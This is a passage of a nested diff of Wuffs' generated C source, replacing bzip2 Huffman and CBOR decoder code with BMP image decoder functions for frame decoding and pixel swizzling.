{ ++ { ++ wuffs_base__status t_0 = wuffs_bmp__decoder__do_decode_frame(self, ++ a_dst, ++ a_src, ++ a_blend, ++ a_workbuf, ++ a_opts); ++ v_status = t_0; + } +- } +- self->private_impl.f_flush_pointer = v_flush_pointer; +- self->private_impl.f_flush_repeat_count = v_flush_repeat_count; +- self->private_impl.f_flush_prev = v_flush_prev; +- self->private_impl.f_block_checksum_have = v_block_checksum_have; +- if (v_block_size <= 900000u) { +- self->private_impl.f_block_size = v_block_size; ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_bmp__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); + } + +- goto ok; + ok: +- self->private_impl.p_flush_slow[0] = 0; ++ self->private_impl.p_decode_frame = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_flush_slow[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_flush_slow[0].v_flush_pointer = v_flush_pointer; +- self->private_data.s_flush_slow[0].v_flush_repeat_count = v_flush_repeat_count; +- self->private_data.s_flush_slow[0].v_flush_prev = v_flush_prev; +- self->private_data.s_flush_slow[0].v_block_checksum_have = v_block_checksum_have; +- self->private_data.s_flush_slow[0].v_block_size = v_block_size; +- self->private_data.s_flush_slow[0].v_curr = v_curr; ++ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; + + goto exit; + exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; + } +- + return status; + } + +-// -------- func bzip2.decoder.decode_huffman_fast ++// -------- func bmp.decoder.do_decode_frame + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_bzip2__decoder__decode_huffman_fast( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_src) { ++wuffs_bmp__decoder__do_decode_frame( ++ wuffs_bmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint32_t v_bits = 0; +- uint32_t v_n_bits = 0; +- uint32_t v_block_size = 0; +- uint8_t v_which = 0; +- uint32_t v_ticks = 0; +- uint32_t v_section = 0; +- uint32_t v_run_shift = 0; +- uint16_t v_table_entry = 0; +- uint16_t v_child = 0; +- uint32_t v_child_ff = 0; +- uint32_t v_i = 0; +- uint32_t v_j = 0; +- uint32_t v_output = 0; +- uint32_t v_run = 0; +- uint32_t v_mtft0 = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -31802,90 +32760,132 @@ wuffs_bzip2__decoder__decode_huffman_fast( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- v_bits = self->private_impl.f_bits; +- v_n_bits = self->private_impl.f_n_bits; +- v_block_size = self->private_impl.f_block_size; +- v_which = self->private_impl.f_decode_huffman_which; +- v_ticks = self->private_impl.f_decode_huffman_ticks; +- v_section = self->private_impl.f_decode_huffman_section; +- v_run_shift = self->private_impl.f_decode_huffman_run_shift; +- while (((uint64_t)(io2_a_src - iop_a_src)) >= 4u) { +- if (v_ticks > 0u) { +- v_ticks -= 1u; +- } else { +- v_ticks = 49u; +- v_section += 1u; +- if (v_section >= self->private_impl.f_num_sections) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_number_of_sections); +- goto exit; ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence == 64u) { ++ } else if (self->private_impl.f_call_sequence < 64u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- v_which = WUFFS_BZIP2__CLAMP_TO_5[(self->private_data.f_huffman_selectors[(v_section & 32767u)] & 7u)]; +- } +- v_bits |= (wuffs_base__peek_u32be__no_bounds_check(iop_a_src) >> v_n_bits); +- iop_a_src += ((31u - v_n_bits) >> 3u); +- v_n_bits |= 24u; +- v_table_entry = self->private_data.f_huffman_tables[v_which][(v_bits >> 24u)]; +- v_bits <<= (v_table_entry >> 12u); +- v_n_bits -= ((uint32_t)((v_table_entry >> 12u))); +- v_child = (v_table_entry & 1023u); +- while (v_child < 257u) { +- v_child = self->private_data.f_huffman_trees[v_which][v_child][(v_bits >> 31u)]; +- v_bits <<= 1u; +- if (v_n_bits <= 0u) { +- status = wuffs_base__make_status(wuffs_bzip2__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_bmp__decoder__do_decode_frame_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; + } +- v_n_bits -= 1u; +- } +- if (v_child < 768u) { +- v_child_ff = ((uint32_t)((v_child & 255u))); +- v_output = ((uint32_t)(self->private_data.f_mtft[v_child_ff])); +- wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_mtft, 1, (1u + v_child_ff)), wuffs_base__make_slice_u8(self->private_data.f_mtft, v_child_ff)); +- self->private_data.f_mtft[0u] = ((uint8_t)(v_output)); +- self->private_data.f_letter_counts[v_output] += 1u; +- self->private_data.f_bwt[v_block_size] = v_output; +- if (v_block_size >= self->private_impl.f_max_incl_block_size) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); +- goto exit; ++ if (status.repr) { ++ goto suspend; + } +- v_block_size += 1u; +- v_run_shift = 0u; +- continue; +- } else if (v_child == 768u) { +- self->private_impl.f_decode_huffman_finished = true; +- break; +- } +- if (v_run_shift >= 23u) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); +- goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; + } +- v_run = ((((uint32_t)(v_child)) & 3u) << v_run_shift); +- v_run_shift += 1u; +- v_i = v_block_size; +- v_j = (v_run + v_block_size); +- if (v_j > self->private_impl.f_max_incl_block_size) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); +- goto exit; ++ self->private_data.s_do_decode_frame.scratch = self->private_impl.f_padding; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (self->private_data.s_do_decode_frame.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_frame.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- v_block_size = v_j; +- v_mtft0 = ((uint32_t)(self->private_data.f_mtft[0u])); +- self->private_data.f_letter_counts[v_mtft0] += v_run; +- while (v_i < v_j) { +- self->private_data.f_bwt[v_i] = v_mtft0; +- v_i += 1u; ++ iop_a_src += self->private_data.s_do_decode_frame.scratch; ++ if ((self->private_impl.f_width > 0u) && (self->private_impl.f_height > 0u)) { ++ self->private_impl.f_dst_x = 0u; ++ if (self->private_impl.f_top_down) { ++ self->private_impl.f_dst_y = 0u; ++ self->private_impl.f_dst_y_inc = 1u; ++ } else { ++ self->private_impl.f_dst_y = ((uint32_t)(self->private_impl.f_height - 1u)); ++ self->private_impl.f_dst_y_inc = 4294967295u; ++ } ++ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, ++ wuffs_base__pixel_buffer__pixel_format(a_dst), ++ wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)), ++ wuffs_base__utility__make_pixel_format(self->private_impl.f_src_pixfmt), ++ wuffs_base__make_slice_u8(self->private_data.f_src_palette, 1024), ++ a_blend); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ while (true) { ++ if (self->private_impl.f_compression == 0u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ v_status = wuffs_bmp__decoder__swizzle_none(self, a_dst, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } else if (self->private_impl.f_compression < 3u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ v_status = wuffs_bmp__decoder__swizzle_rle(self, a_dst, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } else if (self->private_impl.f_compression == 3u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ v_status = wuffs_bmp__decoder__swizzle_bitfields(self, a_dst, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } else { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ v_status = wuffs_bmp__decoder__swizzle_low_bit_depth(self, a_dst, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } else if (v_status.repr != wuffs_bmp__note__internal_note_short_read) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); ++ } ++ self->private_data.s_do_decode_frame.scratch = self->private_impl.f_pending_pad; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (self->private_data.s_do_decode_frame.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_frame.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_decode_frame.scratch; ++ self->private_impl.f_pending_pad = 0u; + } ++ self->private_impl.f_call_sequence = 96u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame = 0; ++ goto exit; + } +- self->private_impl.f_bits = v_bits; +- self->private_impl.f_n_bits = v_n_bits; +- self->private_impl.f_block_size = v_block_size; +- self->private_impl.f_decode_huffman_which = v_which; +- self->private_impl.f_decode_huffman_ticks = v_ticks; +- self->private_impl.f_decode_huffman_section = v_section; +- self->private_impl.f_decode_huffman_run_shift = v_run_shift; +- status = wuffs_base__make_status(NULL); +- goto ok; + +- ok: ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ + goto exit; + exit: + if (a_src && a_src->data.ptr) { +@@ -31895,24 +32895,27 @@ wuffs_bzip2__decoder__decode_huffman_fast( + return status; + } + +-// -------- func bzip2.decoder.decode_huffman_slow ++// -------- func bmp.decoder.swizzle_none + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_bzip2__decoder__decode_huffman_slow( +- wuffs_bzip2__decoder* self, ++wuffs_bmp__decoder__swizzle_none( ++ wuffs_bmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c = 0; +- uint32_t v_node_index = 0; +- uint16_t v_child = 0; +- uint32_t v_child_ff = 0; +- uint32_t v_i = 0; +- uint32_t v_j = 0; +- uint32_t v_output = 0; +- uint32_t v_run = 0; +- uint32_t v_mtft0 = 0; ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint32_t v_dst_bytes_per_pixel = 0; ++ uint64_t v_dst_bytes_per_row = 0; ++ uint32_t v_src_bytes_per_pixel = 0; ++ wuffs_base__slice_u8 v_dst_palette = {0}; ++ wuffs_base__table_u8 v_tab = {0}; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint64_t v_i = 0; ++ uint64_t v_j = 0; ++ uint64_t v_n = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -31925,99 +32928,90 @@ wuffs_bzip2__decoder__decode_huffman_slow( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_huffman_slow[0]; +- if (coro_susp_point) { +- v_node_index = self->private_data.s_decode_huffman_slow[0].v_node_index; ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ goto exit; + } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while ( ! (self->private_impl.p_decode_huffman_slow[0] != 0)) { +- if (self->private_impl.f_decode_huffman_ticks > 0u) { +- self->private_impl.f_decode_huffman_ticks -= 1u; +- } else { +- self->private_impl.f_decode_huffman_ticks = 49u; +- self->private_impl.f_decode_huffman_section += 1u; +- if (self->private_impl.f_decode_huffman_section >= self->private_impl.f_num_sections) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_number_of_sections); +- goto exit; +- } +- self->private_impl.f_decode_huffman_which = WUFFS_BZIP2__CLAMP_TO_5[(self->private_data.f_huffman_selectors[(self->private_impl.f_decode_huffman_section & 32767u)] & 7u)]; ++ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); ++ v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); ++ v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)); ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ label__outer__continue:; ++ while (true) { ++ while (self->private_impl.f_pending_pad > 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); ++ goto ok; + } +- v_node_index = 0u; +- while (true) { +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; +- } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; +- } +- v_child = self->private_data.f_huffman_trees[self->private_impl.f_decode_huffman_which][v_node_index][(self->private_impl.f_bits >> 31u)]; +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- if (v_child < 257u) { +- v_node_index = ((uint32_t)(v_child)); +- continue; +- } else if (v_child < 768u) { +- v_child_ff = ((uint32_t)((v_child & 255u))); +- v_output = ((uint32_t)(self->private_data.f_mtft[v_child_ff])); +- wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_mtft, 1, (1u + v_child_ff)), wuffs_base__make_slice_u8(self->private_data.f_mtft, v_child_ff)); +- self->private_data.f_mtft[0u] = ((uint8_t)(v_output)); +- self->private_data.f_letter_counts[v_output] += 1u; +- self->private_data.f_bwt[self->private_impl.f_block_size] = v_output; +- if (self->private_impl.f_block_size >= self->private_impl.f_max_incl_block_size) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); +- goto exit; ++ self->private_impl.f_pending_pad -= 1u; ++ iop_a_src += 1u; ++ } ++ while (true) { ++ if (self->private_impl.f_dst_x == self->private_impl.f_width) { ++ self->private_impl.f_dst_x = 0u; ++ self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; ++ if (self->private_impl.f_dst_y >= self->private_impl.f_height) { ++ if (self->private_impl.f_height > 0u) { ++ self->private_impl.f_pending_pad = self->private_impl.f_pad_per_row; + } +- self->private_impl.f_block_size += 1u; +- self->private_impl.f_decode_huffman_run_shift = 0u; +- break; +- } else if (v_child == 768u) { +- self->private_impl.f_decode_huffman_finished = true; + goto label__outer__break; ++ } else if (self->private_impl.f_pad_per_row != 0u) { ++ self->private_impl.f_pending_pad = self->private_impl.f_pad_per_row; ++ goto label__outer__continue; + } +- if (self->private_impl.f_decode_huffman_run_shift >= 23u) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); ++ } ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); ++ if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); ++ } ++ v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); ++ if (v_i >= ((uint64_t)(v_dst.len))) { ++ if (self->private_impl.f_bits_per_pixel > 32u) { ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); + goto exit; + } +- v_run = ((((uint32_t)(v_child)) & 3u) << self->private_impl.f_decode_huffman_run_shift); +- self->private_impl.f_decode_huffman_run_shift += 1u; +- v_i = self->private_impl.f_block_size; +- v_j = (v_run + self->private_impl.f_block_size); +- if (v_j > self->private_impl.f_max_incl_block_size) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); ++ v_src_bytes_per_pixel = (self->private_impl.f_bits_per_pixel / 8u); ++ if (v_src_bytes_per_pixel == 0u) { ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); + goto exit; + } +- self->private_impl.f_block_size = v_j; +- v_mtft0 = ((uint32_t)(self->private_data.f_mtft[0u])); +- self->private_data.f_letter_counts[v_mtft0] += v_run; +- while (v_i < v_j) { +- self->private_data.f_bwt[v_i] = v_mtft0; +- v_i += 1u; ++ v_n = (((uint64_t)(io2_a_src - iop_a_src)) / ((uint64_t)(v_src_bytes_per_pixel))); ++ v_n = wuffs_base__u64__min(v_n, ((uint64_t)(((uint32_t)(self->private_impl.f_width - self->private_impl.f_dst_x))))); ++ v_j = v_n; ++ while (v_j >= 8u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 8u)))) { ++ iop_a_src += (v_src_bytes_per_pixel * 8u); ++ } ++ v_j -= 8u; + } +- break; ++ while (v_j > 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 1u)))) { ++ iop_a_src += (v_src_bytes_per_pixel * 1u); ++ } ++ v_j -= 1u; ++ } ++ } else { ++ v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( ++ &self->private_impl.f_swizzler, ++ wuffs_base__slice_u8__subslice_i(v_dst, v_i), ++ v_dst_palette, ++ &iop_a_src, ++ io2_a_src); ++ } ++ if (v_n == 0u) { ++ status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); ++ goto ok; + } ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); + } +- label__outer__break:; +- +- goto ok; +- ok: +- self->private_impl.p_decode_huffman_slow[0] = 0; +- goto exit; + } ++ label__outer__break:; ++ status = wuffs_base__make_status(NULL); ++ goto ok; + +- goto suspend; +- suspend: +- self->private_impl.p_decode_huffman_slow[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_huffman_slow[0].v_node_index = v_node_index; +- ++ ok: + goto exit; + exit: + if (a_src && a_src->data.ptr) { +@@ -32027,256 +33021,33 @@ wuffs_bzip2__decoder__decode_huffman_slow( + return status; + } + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BZIP2) +- +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CBOR) +- +-// ---------------- Status Codes Implementations +- +-const char wuffs_cbor__error__bad_input[] = "#cbor: bad input"; +-const char wuffs_cbor__error__unsupported_recursion_depth[] = "#cbor: unsupported recursion depth"; +-const char wuffs_cbor__error__internal_error_inconsistent_i_o[] = "#cbor: internal error: inconsistent I/O"; +-const char wuffs_cbor__error__internal_error_inconsistent_token_length[] = "#cbor: internal error: inconsistent token length"; +- +-// ---------------- Private Consts +- +-static const uint32_t +-WUFFS_CBOR__LITERALS[4] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 8388612, 8388616, 8388610, 8388609, +-}; +- +-static const uint8_t +-WUFFS_CBOR__TOKEN_LENGTHS[32] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 1, 1, 1, 1, 1, 1, 1, 1, +- 1, 1, 1, 1, 1, 1, 1, 1, +- 1, 1, 1, 1, 1, 1, 1, 1, +- 2, 3, 5, 9, 0, 0, 0, 1, +-}; +- +-// ---------------- Private Initializer Prototypes +- +-// ---------------- Private Function Prototypes +- +-// ---------------- VTables +- +-const wuffs_base__token_decoder__func_ptrs +-wuffs_cbor__decoder__func_ptrs_for__wuffs_base__token_decoder = { +- (wuffs_base__status(*)(void*, +- wuffs_base__token_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__slice_u8))(&wuffs_cbor__decoder__decode_tokens), +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_cbor__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_cbor__decoder__history_retain_length), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_cbor__decoder__set_quirk), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_cbor__decoder__workbuf_len), +-}; +- +-// ---------------- Initializer Implementations +- +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_cbor__decoder__initialize( +- wuffs_cbor__decoder* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); +- } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); +- } +- +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" +-#endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); +- } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; +- } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); +- } +- } +- +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__token_decoder.vtable_name = +- wuffs_base__token_decoder__vtable_name; +- self->private_impl.vtable_for__wuffs_base__token_decoder.function_pointers = +- (const void*)(&wuffs_cbor__decoder__func_ptrs_for__wuffs_base__token_decoder); +- return wuffs_base__make_status(NULL); +-} +- +-wuffs_cbor__decoder* +-wuffs_cbor__decoder__alloc(void) { +- wuffs_cbor__decoder* x = +- (wuffs_cbor__decoder*)(calloc(sizeof(wuffs_cbor__decoder), 1)); +- if (!x) { +- return NULL; +- } +- if (wuffs_cbor__decoder__initialize( +- x, sizeof(wuffs_cbor__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; +- } +- return x; +-} +- +-size_t +-sizeof__wuffs_cbor__decoder(void) { +- return sizeof(wuffs_cbor__decoder); +-} +- +-// ---------------- Function Implementations +- +-// -------- func cbor.decoder.get_quirk +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_cbor__decoder__get_quirk( +- const wuffs_cbor__decoder* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- return 0u; +-} +- +-// -------- func cbor.decoder.set_quirk +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_cbor__decoder__set_quirk( +- wuffs_cbor__decoder* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); +-} +- +-// -------- func cbor.decoder.history_retain_length +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_cbor__decoder__history_retain_length( +- const wuffs_cbor__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- return 0u; +-} +- +-// -------- func cbor.decoder.workbuf_len +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_cbor__decoder__workbuf_len( +- const wuffs_cbor__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- +- return wuffs_base__utility__empty_range_ii_u64(); +-} +- +-// -------- func cbor.decoder.decode_tokens ++// -------- func bmp.decoder.swizzle_rle + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_cbor__decoder__decode_tokens( +- wuffs_cbor__decoder* self, +- wuffs_base__token_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 1)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; ++static wuffs_base__status ++wuffs_bmp__decoder__swizzle_rle( ++ wuffs_bmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint64_t v_string_length = 0; +- uint64_t v_n64 = 0; +- uint32_t v_depth = 0; +- uint32_t v_stack_byte = 0; +- uint32_t v_stack_bit = 0; +- uint32_t v_stack_val = 0; +- uint32_t v_token_length = 0; +- uint32_t v_vminor = 0; +- uint32_t v_vminor_alt = 0; +- uint32_t v_continued = 0; +- uint8_t v_c = 0; +- uint8_t v_c_major = 0; +- uint8_t v_c_minor = 0; +- bool v_tagged = false; +- uint8_t v_indefinite_string_major_type = 0; ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint32_t v_dst_bytes_per_pixel = 0; ++ uint64_t v_dst_bytes_per_row = 0; ++ wuffs_base__slice_u8 v_dst_palette = {0}; ++ wuffs_base__table_u8 v_tab = {0}; ++ wuffs_base__slice_u8 v_row = {0}; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint64_t v_i = 0; ++ uint64_t v_n = 0; ++ uint32_t v_p0 = 0; ++ 